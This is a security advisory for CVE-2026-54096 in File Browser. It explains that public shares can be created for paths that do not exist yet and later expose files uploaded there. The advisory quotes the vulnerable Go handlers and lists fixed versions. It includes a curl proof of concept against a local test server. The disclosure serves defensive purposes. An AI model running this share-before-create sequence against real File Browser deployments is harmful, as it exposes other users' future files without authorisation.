CVE-2026-54096: File Browser: Improper Access Control Occurs via Pre-Created Public Share for a Non-existent Path
Summary This is similar vulnrability of CVE-2026-0035, which was fixed in Android MediaProvider with high severity. In the original Java issue, MediaStore.createWriteRequest() accepted attacker-controlled URIs and created a future grant even when the referenced media item did not exist yet. The Android fix added an existence check before creating the request. filebrowser/filebrowser has the analogous issue in Go.
Published Jun 12, 2026 · Updated Jul 21, 2026
Affected packages
github.com/filebrowser/filebrowser/v2
- Ecosystem
- Go
- Affected
- <= 2.63.6
- Fixed in
- 2.63.7
- Check
go list -m github.com/filebrowser/filebrowser/v2
github.com/filebrowser/filebrowser
- Ecosystem
- Go
- Affected
- <= 1.11.0
- Fixed in
- No patched version yet
- Check
go list -m github.com/filebrowser/filebrowser
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
This is similar vulnrability of `CVE-2026-0035`, which was fixed in Android MediaProvider with high severity. In the original Java issue, MediaStore.createWriteRequest() accepted attacker-controlled URIs and created a future grant even when the referenced media item did not exist yet. The Android fix added an existence check before creating the request.
filebrowser/filebrowser has the analogous issue in Go. POST /api/share/<path> accepts an authenticated request for an arbitrary path and stores a public share record without checking whether the target file currently exists. Later, when a file is created at that same path, the previously created public share immediately becomes valid and exposes the new file through GET /api/public/dl/<hash>.
Details
The vulnerable create path is:
http/share.gosharePostHandler()- route:
POST /api/share/<path>
sharePostHandler() only checks that the caller is authenticated and has share/download permissions. It then builds a share.Link directly from r.URL.Path and saves it:
s = &share.Link{
Path: r.URL.Path,
Hash: str,
Expire: expire,
UserID: d.user.ID,
PasswordHash: string(hash),
Token: token,
}
if err := d.store.Share.Save(s); err != nil {
return http.StatusInternalServerError, err
}There is no Stat, Exists, or equivalent check before the public share record is committed.
The vulnerable consume path is:
http/public.gowithHashFile()- routes:
GET /api/public/share/<hash>,GET /api/public/dl/<hash>
Each public request loads the saved share by hash and then resolves link.Path against the owner's current filesystem state:
file, err := files.NewFileInfo(&files.FileOptions{
Fs: d.user.Fs,
Path: link.Path,
...
})This means the share is not bound to an object that existed at creation time. It is bound only to a path string, so a share created for a nonexistent path becomes valid later as soon as that path is populated.
PoC
The PoC below starts from external HTTP input only.
- Authenticate to File Browser.
- Confirm
/future4.txtdoes not exist. - Create a public share for
/future4.txtanyway. - Confirm the public share returns
404. - Upload a file to
/future4.txt. - Reuse the same public share URL and read the file content.
Reproduction commands:
TOKEN=$(curl -s -X POST http://127.0.0.1:8091/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"Password123!"}')
curl -i -X POST http://127.0.0.1:8091/api/share/future4.txt \
-H "X-Auth: $TOKEN" \
-H 'Content-Type: application/json' \
-d '{}'
curl -i http://127.0.0.1:8091/api/public/dl/JVeEQlLO
curl -i -X POST http://127.0.0.1:8091/api/resources/future4.txt \
-H "X-Auth: $TOKEN" \
--data-binary 'fourth-secret'
curl -i http://127.0.0.1:8091/api/public/dl/JVeEQlLOImpact
An authenticated user can create a public share for a path before the file exists, and that same share later exposes whatever file is created at that path. This can unintentionally publish future sensitive files and bypass the expected invariant that a share grants access only to an existing object reviewed at creation time.
Reference
Original CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-0035
Credited to quart27219, kimdu0, hacdias.
References
- https://github.com/filebrowser/filebrowser/security/advisories/GHSA-3q2p-72cj-682c
- https://github.com/filebrowser/filebrowser/commit/166583db632e088e9f0adce30aec43bb9d9019f4
- https://github.com/filebrowser/filebrowser/releases/tag/v2.63.7
- https://nvd.nist.gov/vuln/detail/CVE-2026-54096
- https://github.com/advisories/GHSA-3q2p-72cj-682c
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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